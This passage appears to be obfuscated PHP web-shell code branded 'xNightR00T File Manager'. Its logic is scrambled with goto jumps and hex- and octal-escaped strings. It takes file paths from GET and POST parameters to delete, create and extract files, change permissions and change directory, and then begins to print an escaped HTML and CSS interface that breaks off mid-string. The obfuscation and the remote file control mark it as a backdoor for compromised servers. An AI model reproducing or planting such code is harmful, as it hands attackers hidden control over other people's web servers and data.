Vt40F; R729A: OZFGM: goto G4NOP; OiK93: if ($x1dTz !== false) { goto xQ72G; } goto qDp3I; y0Blq: AHMeU: goto Hgl1H; OX8rF: LvWKa: goto JahW6; rxo6N: goto zmjjO; goto Ordzg; KEUDG: if (!is_dir($IQcVo)) { goto rqDlM; } goto IDK95; MaJkx: $kFfDv["\x73\x75\143\x63\x65\x73\x73"] = true; goto FOTzm; pj2rR: $ejA8h = $_GET["\x70\141\x74\x68"] ?? ''; goto PUhh4; wjFlO: goto rD4Rm; goto bgci0; ZZtLV: OSZ6N: goto QYyMB; KahTz: ajdDT: goto JoeC3; i2jnq: $kFfDv["\x73\165\143\143\x65\163\x73"] = true; goto LbYVi; jqF3S: goto D518W; goto mHQFJ; gEyqt: if (in_array($Et5iG, ["\147\x7a", "\x74\147\172"]) && function_exists("\147\172\x6f\x70\145\156")) { goto PtmZh; } goto GEh7l; NvZki: oO547: goto zE9_N; nOSjN: $kFfDv["\x6d\145\163\163\x61\x67\145"] = "\x46\x69\x6c\145\40\156\x6f\164\40\x66\x6f\165\x6e\144"; goto itaDR; BHGJ3: goto zmjjO; goto rc8n6; KMt9j: goto eaSBE; goto TikHD; r8i_k: $kFfDv["\163\x75\x63\x63\145\x73\x73"] = true; goto sNr4d; O5XG5: $ejA8h = Qhx6J($_POST["\x70\141\164\150"] ?? ''); goto uKWQf; p_eC2: if ($ECNXt === "\x65\170\164\x72\x61\x63\x74") { goto S_hRk; } goto koj_4; LrRv2: if ($Et5iG === "\172\x69\160" && class_exists("\132\x69\160\101\162\143\x68\x69\x76\x65")) { goto ERzIL; } goto gEyqt; WE5ji: $kFfDv["\155\145\163\x73\141\x67\x65"] = "\104\x65\x6c\x65\164\x65\144\x20\x73\165\143\x63\x65\163\x73\x66\x75\154\x6c\x79"; goto dHLgA; zFdvx: QDckw: goto OQG9Z; OUeXc: if ($ECNXt === "\x64\x65\154\x65\x74\x65") { goto dNYGh; } goto Pt3KX; MEdDN: goto o1IXC; goto nma0K; gNVhA: $qEUWN = 0; goto yYO1L; CRUSw: PtmZh: goto ajD8C; TlqE1: goto xtXXf; goto zGBq8; TRIHX: chdir($GZf_N); goto i2jnq; O2AM3: $kFfDv["\x6d\x65\163\x73\x61\x67\x65"] = "\120\145\162\x6d\x69\x73\x73\151\157\x6e\x20\143\150\141\156\x67\145\144\40\x73\165\x63\143\145\x73\x73\x66\x75\154\154\x79"; goto tzCVX; zGBq8: H2cx8: goto ENakO; zm2Xf: goto zmjjO; goto WkYno; eyoAq: $lsSKh = strtotime($vwGRE); goto F_SoV; zdoDq: $kFfDv["\155\145\x73\163\x61\147\x65"] = "\x46\x61\151\154\x65\x64\40\164\x6f\x20\x63\x72\x65\141\164\x65\40\x66\151\154\x65"; goto hwXcj; xeMzj: goto AHMeU; goto iG0Ix; JahW6: $kFfDv["\x73\165\143\143\x65\x73\163"] = true; goto LeBE8; rc8n6: BInyL: goto KMsMV; rMmCy: $sj3f6 = $_POST["\160\x61\164\x68"] ?? ''; goto RoEr5; eLdl4: echo "\x3c\x21\x44\x4f\x43\124\131\120\x45\40\x68\164\x6d\154\76\15\12\74\150\164\155\154\40\x6c\x61\x6e\147\75\x22\145\156\x22\x3e\xd\12\74\x68\x65\x61\x64\76\15\xa\x20\x20\x20\40\74\155\145\164\141\x20\143\x68\x61\x72\163\x65\x74\75\x22\125\124\x46\55\70\x22\x3e\15\12\40\x20\40\40\74\155\145\x74\141\x20\156\141\x6d\145\x3d\x22\x76\x69\145\x77\160\x6f\x72\x74\42\40\143\157\156\164\145\x6e\164\75\42\x77\151\x64\x74\150\x3d\144\145\x76\x69\x63\145\55\167\151\144\164\x68\x2c\40\151\x6e\151\x74\x69\x61\x6c\x2d\x73\143\x61\x6c\145\x3d\x31\56\x30\42\x3e\15\xa\x20\40\x20\x20\74\164\151\164\x6c\x65\76\170\116\x69\x67\x68\x74\122\60\x30\x54\40\106\151\x6c\x65\40\115\x61\156\x61\147\x65\x72\x3c\57\x74\151\164\154\145\76\15\xa\40\x20\x20\x20\x3c\x73\x74\x79\x6c\145\76\15\xa\40\x20\40\x20\40\x20\40\40\52\40\x7b\15\xa\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\x6d\141\162\x67\x69\x6e\x3a\x20\x30\x3b\xd\12\40\40\40\40\40\x20\x20\40\x20\40\x20\40\160\x61\x64\144\151\156\147\x3a\40\x30\x3b\xd\12\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\142\157\170\x2d\163\x69\x7a\x69\156\x67\72\x20\142\x6f\x72\x64\x65\x72\55\x62\157\x78\x3b\15\12\40\x20\40\x20\x20\x20\x20\x20\x7d\xd\12\15\12\x20\40\x20\x20\40\x20\40\40\142\157\144\171\40\x7b\15\xa\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\146\x6f\156\x74\x2d\146\141\155\151\154\x79\72\40\47\123\x65\147\x6f\x65\40\x55\x49\x27\54\x20\124\141\x68\157\x6d\x61\54\40\x47\145\x6e\145\166\x61\x2c\x20\126\145\x72\x64\141\x6e\141\54\x20\x73\x61\156\163\x2d\163\145\162\151\146\x3b\xd\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\142\x61\143\153\x67\162\x6f\x75\x6e\144\x3a\x20\43\60\141\x30\x61\x30\146\x3b\xd\xa\40\x20\40\40\x20\x20\40\x20\40\40\40\40\143\x6f\154\x6f\162\x3a\40\x23\x62\x38\x62\70\143\x38\x3b\15\12\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x6d\151\x6e\55\150\145\x69\x67\150\164\72\40\x31\60\x30\166\150\73\xd\12\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\160\x61\144\144\151\156\x67\x3a\40\61\65\x70\170\73\15\xa\40\40\x20\x20\x20\x20\40\x20\x7d\15\12\xd\12\40\40\x20\x20\40\x20\40\x20\56\x63\157\x6e\x74\141\x69\x6e\x65\x72\x20\173\xd\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\155\x61\170\x2d\167\151\x64\x74\150\72\x20\61\x36\60\x30\x70\x78\x3b\xd\xa\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\155\x61\x72\x67\151\x6e\72\x20\x30\40\x61\165\164\157\x3b\xd\xa\40\x20\x20\x20\40\40\40\x20\175\15\12\xd\12\x20\x20\x20\x20\x20\40\40\40\x2e\150\x65\x61\x64\145\162\x20\173\15\12\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x62\141\143\x6b\147\162\x6f\x75\156\x64\x3a\40\x72\147\x62\x61\x28\x32\x30\54\x20\62\60\54\40\63\60\54\40\x30\56\70\x29\73\15\12\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\142\x6f\x72\x64\x65\x72\x3a\x20\x31\x70\x78\40\163\x6f\154\x69\x64\x20\43\x32\141\62\x61\64\x30\x3b\xd\12\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\142\x6f\162\x64\145\x72\55\x72\141\x64\x69\165\x73\72\x20\70\x70\x78\73\xd\12\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\160\x61\x64\144\151\156\x67\72\x20\62\60\x70\170\73\xd\xa\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\155\x61\162\147\151\x6e\55\x62\157\x74\x74\157\x6d\72\40\x31\65\160\x78\73\15\xa\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\x62\x6f\x78\x2d\163\150\141\x64\x6f\x77\x3a\40\x30\x20\64\160\x78\x20\x31\66\160\x78\40\x72\x67\x62\141\50\60\x2c\40\x30\54\x20\x30\x2c\x20\x30\x2e\x34\x29\73\xd\xa\40\x20\x20\40\x20\x20\40\x20\x7d\xd\xa\xd\12\x20\x20\40\x20\40\x20\40\40\150\61\x20\173\xd\xa\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\143\157\x6c\157\162\x3a\x20\x23\71\60\71\x30\x62\x30\73\xd\xa\40\x20\40\40\40\40\x20\x20\40\40\x20\40\146\x6f\156\164\x2d\163\151\172\x65\72\40\143\154\x61\155\160\x28\61\56\63\x72\x65\155\54\x20\x33\x76\x77\x2c\x20\x32\162\x65\155\x29\73\15\xa\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\155\x61\162\147\151\156\55\142\157\164\164\157\155\72\x20\70\160\170\x3b\15\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\146\157\156\164\55\167\145\151\147\150\x74\x3a\x20\x35\60\x30\x3b\15\12\x20\40\x20\x20\x20\x20\x20\40\175\xd\xa\15\xa\40\40\x20\40\x20\40\x20\40\x2e\x73\145\x72\x76\145\x72\x2d\x69\x6e\146\157\55\x67\x72\151\x64\x20\x7b\xd\12\x20\x20\40\40\40\40\40\x20\40\40\40\40\144\x69\163\x70\x6c\141\171\x3a\40\x67\x72\151\x64\x3b\15\12\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x67\162\151\144\55\x74\145\x6d\160\x6c\x61\x74\x65\55\x63\157\154\x75\x6d\x6e\x73\x3a\x20\x72\145\160\145\141\x74\x28\x61\165\164\157\x2d\146\151\x74\54\40\155\x69\156\155\x61\x78\50\x32\60\60\160\170\x2c\40\61\x66\162\x29\x29\73\15\xa\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\x67\x61\160\72\40\x31\60\x70\170\x3b\xd\xa\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\155\141\162\x67\x69\156\55\164\157\x70\x3a\x20\x31\65\x70\x78\x3b\xd\xa\40\40\x20\40\x20\x20\40\40\175\15\12\xd\xa\x20\x20\40\40\x20\x20\40\40\x2e\151\156\146\157\55\151\164\145\x6d\40\173\15\12\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x3a\x20\x72\147\142\141\x28\63\x30\x2c\40\63\x30\x2c\40\x34\65\54\x20\60\x2e\66\51\x3b\xd\xa\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\x62\x6f\x72\144\x65\162\72\40\x31\x70\x78\40\163\157\154\151\x64\x20\x23\x32\x61\62\x61\64\x30\73\15\xa\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x62\157\x72\144\145\x72\x2d\x72\141\x64\151\165\x73\x3a\x20\x36\160\x78\x3b\xd\12\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\160\141\x64\144\151\x6e\147\x3a\x20\61\60\x70\x78\73\xd\xa\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\x66\x6f\x6e\164\55\163\x69\172\145\72\40\x30\x2e\70\65\x72\x65\155\x3b\15\xa\40\x20\x20\40\40\40\x20\x20\175\xd\12\15\12\40\x20\x20\40\40\40\40\x20\56\151\156\x66\x6f\55\x69\x74\x65\x6d\40\163\164\x72\x6f\156\x67\x20\x7b\xd\xa\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\143\x6f\x6c\157\162\72\x20\x23\67\60\67\60\141\60\x3b\15\xa\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\144\x69\x73\160\154\141\171\72\x20\142\x6c\x6f\x63\x6b\x3b\xd\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x6d\141\162\147\151\x6e\55\x62\x6f\164\x74\157\155\72\x20\x35\160\170\73\15\12\40\40\x20\40\40\40\40\40\175\15\12\xd\12\x20\x20\x20\40\40\x20\40\40\56\x69\156\x66\x6f\55\151\164\145\155\40\x73\160\141\156\40\173\15\12\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\143\x6f\x6c\157\162\x3a\x20\x23\x62\70\x62\70\143\70\73\xd\xa\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x66\x6f\x6e\x74\55\146\141\155\x69\x6c\171\72\x20\x6d\157\x6e\157\x73\x70\x61\x63\x65\x3b\xd\xa\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\146\157\156\164\x2d\163\151\x7a\x65\72\40\x30\56\70\162\x65\x6d\73\xd\12\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x77\157\162\144\55\142\162\x65\x61\153\72\40\142\162\145\x61\x6b\x2d\141\x6c\154\73\15\xa\40\40\40\x20\40\x20\40\40\175\15\12\15\12\40\40\40\x20\x20\40\40\40\x2e\156\x61\x76\55\x73\145\143\164\x69\157\x6e\40\x7b\15\xa\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x62\x61\143\x6b\x67\x72\157\x75\x6e\144\x3a\40\x72\x67\x62\141\x28\62\x30\x2c\40\62\60\x2c\40\x33\x30\x2c\40\x30\x2e\70\x29\x3b\15\12\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\142\x6f\x72\144\x65\x72\72\40\61\x70\170\40\163\157\x6c\x69\144\x20\x23\x32\141\x32\x61\x34\60\73\xd\xa\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\142\x6f\162\x64\x65\x72\x2d\x72\141\144\x69\x75\x73\x3a\x20\x38\x70\170\x3b\15\12\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\160\141\x64\144\151\156\147\x3a\x20\x31\62\x70\x78\x3b\xd\12\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\155\x61\162\147\x69\x6e\55\142\x6f\x74\x74\157\x6d\x3a\40\61\x35\x70\170\73\xd\xa\x20\40\40\x20\40\40\x20\40\x20\40\40\40\144\x69\163\160\154\x61\x79\x3a\40\146\154\x65\x78\73\xd\12\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\147\x61\160\x3a\x20\61\x30\160\x78\73\xd\12\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\146\x6c\145\170\x2d\167\x72\141\x70\72\x20\167\x72\x61\160\73\15\12\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\141\x6c\151\x67\156\55\151\x74\145\155\x73\72\x20\143\145\156\x74\x65\162\73\xd\xa\40\x20\40\x20\x20\40\40\40\x7d\xd\xa\15\12\40\x20\40\40\x20\x20\x20\40\x2e\142\164\156\40\173\15\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6b\x67\x72\x6f\165\x6e\144\x3a\x20\x72\147\142\x61\x28\x36\x30\54\x20\x36\x30\x2c\x20\71\x30\54\40\60\x2e\66\x29\x3b\xd\xa\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\143\x6f\x6c\x6f\x72\x3a\40\43\x62\70\142\x38\x63\70\73\15\xa\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x62\x6f\162\x64\145\162\x3a\40\61\x70\x78\x20\x73\157\154\x69\144\x20\43\63\141\63\141\66\x30\73\15\xa\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\160\x61\x64\144\151\156\x67\x3a\x20\x38\x70\x78\x20\61\66\160\x78\73\15\12\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\142\157\x72\x64\x65\162\55\162\x61\x64\151\165\163\72\x20\x36\160\170\x3b\15\12\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x63\165\162\163\157\162\x3a\x20\160\157\151\156\x74\145\x72\73\xd\12\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\146\x6f\156\164\x2d\167\x65\x69\147\x68\164\72\40\65\60\60\x3b\15\xa\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\164\162\141\x6e\x73\x69\x74\151\157\156\x3a\40\x61\x6c\x6c\x20\x30\x2e\63\x73\x20\145\141\163\145\x3b\xd\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\146\157\x6e\x74\x2d\163\x69\172\x65\72\40\60\56\x38\65\162\145\155\x3b\xd\12\40\40\x20\40\x20\40\x20\40\x7d\xd\12\15\12\40\40\x20\x20\40\x20\40\40\x2e\x62\164\156\72\x68\157\x76\x65\x72\40\173\xd\12\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\142\x61\143\153\x67\162\157\x75\x6e\144\72\40\x72\x67\x62\x61\50\67\60\x2c\40\x37\60\x2c\x20\61\60\x30\54\x20\x30\x2e\70\x29\x3b\xd\xa\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\142\x6f\162\144\145\x72\55\143\x6f\x6c\157\162\x3a\40\x23\x35\x61\65\x61\70\60\x3b\15\12\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\164\x72\141\x6e\163\x66\x6f\162\155\72\40\x74\x72\x61\x6e\x73\154\x61\164\x65\131\x28\55\x31\x70\x78\x29\x3b\15\xa\40\40\40\x20\40\x20\40\x20\x7d\xd\12\xd\12\x20\40\x20\40\x20\x20\40\x20\x2e\x62\162\145\141\x64\x63\x72\165\155\142\40\173\xd\12\40\x20\x20\x20\40\x20\x20\40\40\x20\40\40\146\x6c\x65\170\72\40\61\x3b\15\12\x20\40\x20\40\x20\x20\40\40\x20\40\40\40\142\141\x63\x6b\147\162\157\165\x6e\x64\72\40\162\x67\x62\141\x28\61\x35\54\x20\x31\x35\x2c\x20\x32\x35\x2c\40\x30\x2e\x38\x29\73\15\xa\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x70\x61\x64\144\151\x6e\x67\x3a\x20\70\x70\x78\40\61\62\160\x78\73\15\xa\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\142\157\162\144\x65\x72\55\x72\x61\144\151\165\163\x3a\40\x36\x70\170\x3b\xd\12\x20\40\x20\x20\x20\40\40\40\40\40\40\40\142\157\162\x64\x65\x72\72\x20\x31\160\x78\40\163\157\154\x69\144\40\43\62\x61\62\x61\64\60\73\xd\12\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\143\157\x6c\157\162\72\x20\x23\x38\60\70\60\x61\x30\73\15\xa\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\146\x6f\156\x74\55\x66\x61\155\x69\154\171\x3a\40\155\x6f\x6e\157\163\160\x61\x63\x65\x3b\xd\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\157\166\x65\x72\146\x6c\157\x77\x2d\170\x3a\40\x61\x75\164\157\73\15\12\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\167\150\151\x74\x65\55\x73\160\x61\143\x65\72\x20\x6e\157\167\162\141\x70\x3b\15\xa\40\x20\40\40\40\40\40\x20\40\40\x20\x20\x6d\x69\x6e\55\167\x69\x64\164\150\72\x20\62\60\60\160\170\73\15\12\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\x66\157\156\164\x2d\x73\151\x7a\145\x3a\x20\x30\x2e\x38\x35\x72\145\x6d\73\xd\12\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x64\151\163\x70\154\x61\171\72\x20\146\x6c\x65\170\x3b\xd\xa\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\x67\141\160\72\x20\65\x70\170\73\xd\12\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\141\154\151\x67\156\55\x69\164\x65\155\163\72\x20\x63\145\x6e\164\145\162\x3b\xd\12\x20\40\40\x20\x20\x20\x20\40\175\15\12\15\12\x20\40\40\40\x20\x20\x20\x20\x2e\x62\x72\145\141\x64\143\x72\165\155\142\x20\x73\160\x61\156\40\x7b\15\12\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\143\165\x72\163\157\162\72\40\160\157\151\x6e\164\x65\x72\73\xd\xa\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x74\x72\x61\x6e\163\x69\x74\151\157\x6e\72\x20\143\157\x6c\157\x72\x20\60\56\62\x73\x3b\15\xa\x20\40\40\x20\x20\40\40\40\175\15\12\15\xa\x20\40\x20\x20\x20\40\40\x20\x2e\x62\x72\145\141\x64\143\x72\x75\155\142\40\163\x70\x61\x6e\72\150\x6f\x76\x65\x72\40\173\15\xa\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x63\157\x6c\157\162\x3a\40\x23\x62\x38\142\x38\x63\x38\73\15\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x74\x65\170\164\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\156\x3a\x20\165\156\x64\145\162\154\151\x6e\145\73\xd\12\x20\40\x20\x20\x20\x20\x20\x20\x7d\15\xa\xd\xa\40\40\x20\x20\x20\40\40\x20\x2e\142\162\x65\x61\144\143\x72\165\155\142\55\163\145\x70\x61\x72\x61\164\157\x72\40\173\xd\xa\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\143\x6f\154\x6f\x72\x3a\40\x23\65\60\x35\60\141\60\x3b\15\xa\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\143\x75\x72\163\x6f\x72\72\40\x64\x65\x66\141\x75\x6c\164\40\41\x69\x6d\160\x6f\x72\164\x61\x6e\164\73\xd\xa\x20\x20\x20\40\40\40\40\40\175\15\xa\xd\xa\40\40\x20\x20\40\x20\40\x20\x2e\142\162\145\141\144\143\162\x75\x6d\x62\55\x73\145\160\141\162\x61\x74\x6f\x72\x3a\x68\157\166\x65\162\40\x7b\xd\xa\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\164\145\170\x74\x2d\144\145\143\x6f\x72\x61\x74\151\x6f\x6e\x3a\x20\156\x6f\x6e\x65\x20\x21\x69\x6d\160\x6f\x72\x74\x61\x6e\164\x3b\xd\xa\40\x20\40\40\x20\x20\x20\x20\x7d\xd\12\15\xa\40\x20\x20\40\x20\x20\40\x20\x2e\141\x63\164\151\x6f\x6e\x2d\x62\x75\x74\164\157\156\x73\x20\x7b\15\12\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\144\x69\x73\x70\154\x61\171\72\x20\146\x6c\x65\x78\x3b\15\xa\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\147\x61\x70\x3a\40\x38\160\170\x3b\15\xa\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x66\x6c\145\170\55\167\x72\x61\x70\72\40\167\x72\x61\x70\x3b\15\12\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\155\141\162\147\x69\x6e\x2d\x62\x6f\x74\164\157\x6d\72\x20\x31\x35\160\170\73\xd\xa\40\40\40\40\40\40\40\40\x7d\15\12\15\xa\40\40\40\40\x20\40\40\40\56\146\x69\154\x65\55\x74\x61\x62\154\x65\55\143\x6f\156\x74\x61\151\156\x65\162\40\173\15\xa\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\142\141\x63\153\x67\x72\x6f\x75\156\x64\x3a\40\x72\x67\x62\x61\50\62\60\54\x20\x32\60\54\40\63\60\54\x20\x30\56\70\51\73\xd\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x62\x6f\162\144\145\x72\72\40\x31\160\170\x20\163\x6f\x6c\151\144\40\x23\x32\141\x32\141\x34\x30\x3b\xd\xa\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\142\x6f\x72\x64\145\162\x2d\x72\x61\144\x69\x75\163\72\x20\70\x70\x78\73\15\12\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\160\141\144\x64\151\156\147\x3a\x20\61\65\x70\170\73\xd\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\157\166\145\x72\146\x6c\157\x77\55\170\72\40\x61\165\164\x6f\73\xd\xa\40\x20\x20\40\40\40\x20\40\40\40\x20\40\155\141\x72\x67\x69\156\x2d\x62\157\164\x74\157\x6d\72\40\x36\x30\x70\x78\x3b\15\12\x20\40\x20\x20\x20\40\40\x20\175\xd\12\xd\12\x20\x20\40\x20\x20\40\40\40\164\x61\x62\154\145\40\173\xd\xa\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\167\151\144\x74\x68\x3a\x20\x31\x30\x30\x25\x3b\xd\xa\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x62\157\162\x64\145\x72\x2d\143\x6f\154\x6c\x61\160\163\x65\72\40\x63\157\x6c\x6c\x61\x70\x73\x65\73\xd\xa\40\40\40\40\x20\x20\40\x20\x7d\xd\xa\xd\12\40\40\x20\40\x20\x20\40\40\164\x68\x2c\x20\x74\144\x20\173\15\12\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\160\x61\x64\x64\x69\156\x67\x3a\x20\x31\60\160\x78\x20\x38\160\170\73\15\12\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x74\x65\170\164\x2d\141\x6c\x69\x67\156\72\40\x6c\145\146\164\x3b\15\xa\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x62\157\x72\x64\145\x72\55\x62\157\164\164\157\155\72\40\x31\160\170\40\163\x6f\154\151\x64\40\162\147\x62\x61\50\x34\x30\x2c\40\x34\60\x2c\40\x36\x30\54\x20\x30\x2e\65\x29\x3b\15\12\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x66\157\x6e\x74\55\x73\151\172\145\72\x20\60\56\x38\65\x72\145\155\x3b\15\xa\40\40\x20\x20\40\40\40\x20\x7d\xd\xa\15\xa\x20\x20\x20\x20\x20\40\x20\x20\164\150\x20\x7b\xd\12\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\142\x61\143\153\147\162\157\165\156\x64\x3a\x20\x72\147\142\x61\x28\x33\60\54\40\x33\60\x2c\x20\64\65\x2c\x20\60\x2e\x36\51\73\xd\xa\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6c\157\x72\x3a\x20\x23\70\60\x38\60\141\x30\73\xd\12\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\146\157\156\x74\55\167\x65\151\x67\x68\x74\x3a\x20\x36\x30\60\x3b\xd\12\40\40\40\x20\40\40\x20\x20\175\15\xa\15\xa\40\x20\x20\40\x20\x20\x20\40\164\162\x20\x7b\xd\xa\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x74\162\x61\x6e\163\151\x74\151\x6f\156\72\40\142\x61\x63\153\x67\x72\x6f\x75\156\x64\40\60\56\x32\163\40\x65\x61\163\145\73\xd\xa\40\x20\40\40\40\40\40\x20\175\15\12\xd\xa\x20\40\40\x20\40\40\40\40\x74\162\72\x68\x6f\166\145\x72\x20\173\15\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\40\x72\x67\142\x61\x28\x34\x30\54\x20\x34\x30\54\x20\66\x30\54\x20\x30\x2e\63\51\73\xd\12\40\x20\x20\x20\40\40\x20\40\x7d\xd\12\xd\xa\x20\40\x20\x20\40\40\x20\40\56\x66\157\x6c\144\x65\162\40\173\x20\x63\x6f\x6c\157\x72\x3a\40\x23\146\60\143\x30\64\60\73\x20\x63\x75\x72\x73\x6f\162\x3a\x20\x70\157\x69\156\164\x65\x72\x3b\x20\x7d\15\xa\x20\40\x20\40\40\x20\40\40\56\x66\151\x6c\145\x20\173\x20\x63\157\154\157\162\x3a\40\43\x62\70\142\70\143\x38\73\40\x63\x75\x72\x73\x6f\x72\72\x20\x70\157\x69\156\x74\145\x72\x3b\x20\175\xd\12\40\40\x20\x20\x20\40\40\40\x2e\167\x72\151\164\x61\142\154\145\x20\x7b\40\x63\x6f\x6c\157\x72\72\40\x23\x35\x30\x63\x38\x37\x38\40\41\151\x6d\x70\x6f\x72\164\x61\x6e\x74\73\40\175\15\12\40\x20\40\x20\40\x20\x20\40\56\162\x65\x61\144\157\156\154\x79\x20\x7b\x20\x63\157\154\x6f\162\x3a\40\x23\146\146\66\x62\x36\142\x20\41\x69\x6d\x70\x6f\162\x74\x61\156\x74\73\40\175\xd\xa\15\12\40\x20\x20\x20\x20\40\x20\40\56\155\x6f\144\x61\154\x20\x7b\xd\xa\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\144\x69\x73\x70\x6c\x61\171\72\x20\156\x6f\x6e\x65\x3b\15\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\160\157\x73\x69\x74\x69\x6f\156\x3a\x20\146\151\170\145\144\x3b\xd\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x74\157\x70\x3a\40\x30\x3b\15\12\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\154\145\x66\x74\x3a\x20\x30\73\xd\xa\40\40\40\40\40\x20\40\40\x20\x20\x20\40\167\151\144\x74\x68\72\x20\x31\60\x30\x25\x3b\15\12\x20\40\40\40\40\40\40\x20\x20\40\x20\40\150\x65\x69\147\x68\x74\72\40\x31\60\x30\45\x3b\xd\12\40\x20\40\40\40\40\40\40\x20\40\x20\40\142\x61\143\x6b\x67\x72\x6f\x75\156\x64\x3a\x20\x72\x67\x62\141\x28\60\54\x20\60\54\40\60\x2c\40\60\x2e\70\x35\51\73\15\xa\x20\40\40\x20\x20\x20\40\40\40\40\40\40\172\55\x69\156\144\x65\x78\72\40\61\60\60\60\73\15\xa\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\152\165\163\164\151\146\x79\x2d\143\157\x6e\164\145\156\x74\x3a\x20\x63\x65\x6e\x74\145\162\73\15\xa\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\141\x6c\x69\x67\156\x2d\x69\x74\x65\x6d\x73\72\x20\x63\145\156\164\x65\x72\73\xd\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\x70\x61\144\x64\151\x6e\x67\72\x20\x32\60\x70\170\x3b\15\xa\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x61\x6e\x69\x6d\141\164\151\157\x6e\72\x20\x66\141\144\x65\x49\x6e\x20\x30\x2e\x32\x73\x20\x65\141\163\x65\73\15\12\x20\40\40\40\40\x20\x20\x20\175\15\xa\xd\xa\40\x20\x20\40\40\40\40\x20\x40\153\145\171\146\x72\141\155\x65\x73\x20\146\x61\144\145\111\x6e\x20\